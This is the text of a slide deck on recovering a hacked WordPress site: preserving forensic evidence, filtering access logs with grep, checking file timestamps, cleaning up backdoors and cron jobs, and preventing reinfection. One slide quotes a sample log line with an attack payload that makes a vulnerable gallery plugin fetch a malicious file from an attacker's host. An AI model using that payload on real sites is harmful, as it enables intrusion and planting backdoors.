  • 10. So… I’ve been hacked • Hackers want to have the system exploited for as long as possible • Many exploits avoid Google / Chrome to remain undetected • Obfuscated code • Self morphing code
  • 11. So… I’ve been hacked Basically, it’s one big game of cat and mouse Source: simpsons.wikia.com
  • 14. So…. I’ve been hacked You had up-to-date backups, right? Oh……..
  • 17. Step1: Don’t Touch Anything Treat it like a crime scene You need to preserve the digital forensics
  • 18. Step1: Don’t Touch Anything • Webserver log files • Server log files • File timestamps • Talk to your host! Most important part is to find the point of origin
  • 19. Step1: Don’t Touch Anything If you need your website back up immediately, restore your most recent backup to a new hosting subscription and update DNS
  • 20. Step 2: Forensic Analysis
  • 21. Step 2: Forensic Analysis Need to prevent re-infection Root Cause Analysis
  • 22. Step 2: Forensic Analysis
  • 23. Step 2: Forensic Analysis Is it like CSI? Zoom and Enhance!
  • 24. Step 2: Forensic Analysis YEEEAAAAHH!
  • 25. Step 2: Forensic Analysis Reality • Lots of digging through log files • Lots of referencing file modifications times • Lots of low-level, tech work
  • 26. Step 2: Forensic Analysis Access Log Files
  • 27. Step 2: Forensic Analysis Access Log Files • First item to check • Look for suspicious POST calls • Looking for the result of the hack to start with, not the cause
  • 28. Step 2: Forensic Analysis POST Calls • Need to sort the good from the bad grep POST access_log | wc -l • 1,412 results What to look for Where to look for it Quickly count the results
  • 29. Step 2: Forensic Analysis POST Calls grep POST access_log | grep -v wp-cron.php | grep –v xmlrpc.php | grep –v /wp-admin | grep –v wp-login.php | wc –l • 516 results -v = inverse match
  • 30. Step 2: Forensic Analysis POST Calls grep POST access_log | grep -v wp-cron.php | grep –v xmlrpc.php | grep –v /wp-admin | grep –v wp-login.php | wc –l • 16 results Only match 200 calls, ie filter out 403 / 404
  • 31. Step 2: Forensic Analysis POST Calls Hopefully narrowed it down to something like this
  • 32. Step 2: Forensic Analysis • File Contents
  • 33. Step 2: Forensic Analysis File Creation / Modification Times • We know the malicious file is wp-content/plugins/legit-looking/plugin/safefile.php • Let’s look at the modification time: ls –l safefile.php -rw-r--r-- 1 fileowner filegroup 99424 Mar 23 2013 safefile.php • Also check the creation time:
  • 34. Step 2: Forensic Analysis File Creation / Modification Times • Also check the creation time: ls –lc safefile.php -rw-r--r-- 1 fileowner filegroup 99424 Apr 18 02:45 safefile.php • Dates can be manipulated! Here’s were we need to search
  • 35. Step 2: Forensic Analysis Recheck Access Logs grep “[18/Apr/2016:02:45” access_log This may give us something like: xxx.xxx.xxx.xxx - - [18/Apr/2016:02:45:00 +1000] "GET /wp-content/plugins/robo- gallery/includes/rbs_gallery_ajax.php?function=file_put_contents(%22http%3A%2F%2F hackerssite%2Fscripts%2Fsafefile.php%22) HTTP/1.1" 200 449954 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0“
  • 36. Step 2: Forensic Analysis
  • 37. Step 3: The Clean Up
  • 38. Step 3: The Clean Up Most secure way is to restore from backup
  • 40. Step 3: The Clean Up • 10x as much work If there’s no backups… • Hackers love to leave backdoors to regain access
  • 41. Step 3: The Clean Up Remove infected files • Malicious files • Look for other files They can modify every other file in your site
  • 42. Step 3: The Clean Up Check for Database changes • Inserted users • Updated passwords/ privileges for non- admin users
  • 43. Step 3: The Clean Up Cron Jobs • Scheduled re-infections • Check your web control panel / raw cron
  • 44. Step 3: The Clean Up RBL Blacklists • If you were spamming, automated systems notice • Use an RBL lookup to check - Senderbase (used by Telstra / Optus etc) don’t allow you to automate scans - Nor does Hotmail / Outlook / Office365 / Google
  • 46. Step 4: Prevention Yeah… well… it’s not exactly prevention… But….
  • 48. Step 4: Prevention One critical step UPDATEUPDATE
  • 49. Step 4: Prevention Keep your software up-to-date • Core • Plugins • Themes
  • 50. Step 4: Prevention Keep your software up-to-date • One gotcha to be aware of: Paid Themes with Plugins - may not auto update - may require an active subscription • Remove (don’t just disable) unused themes / plugins
  • 51. Step 4: Prevention Secure Passwords • Unique password per site / login • Use a password manager • Length is more important than complexity (12+ characters is good)
  • 52. Step 4: Prevention Monitoring • Monitor your site performance • Google Webmaster alerts • WordFence / iThemes Security
  • 53. Step 4: Prevention Server / Hosting Protection • CloudFlare Pro / Web Application Firewall • Limit each site to one user • Don’t keep old directories / backups on the server

Hinweis der Redaktion

  1. And when I say Google was nice enough….
  2. Unless you’re a large entity, political party of a gaming site where you’ve offended someone… it probably wasn’t directly targeted at you.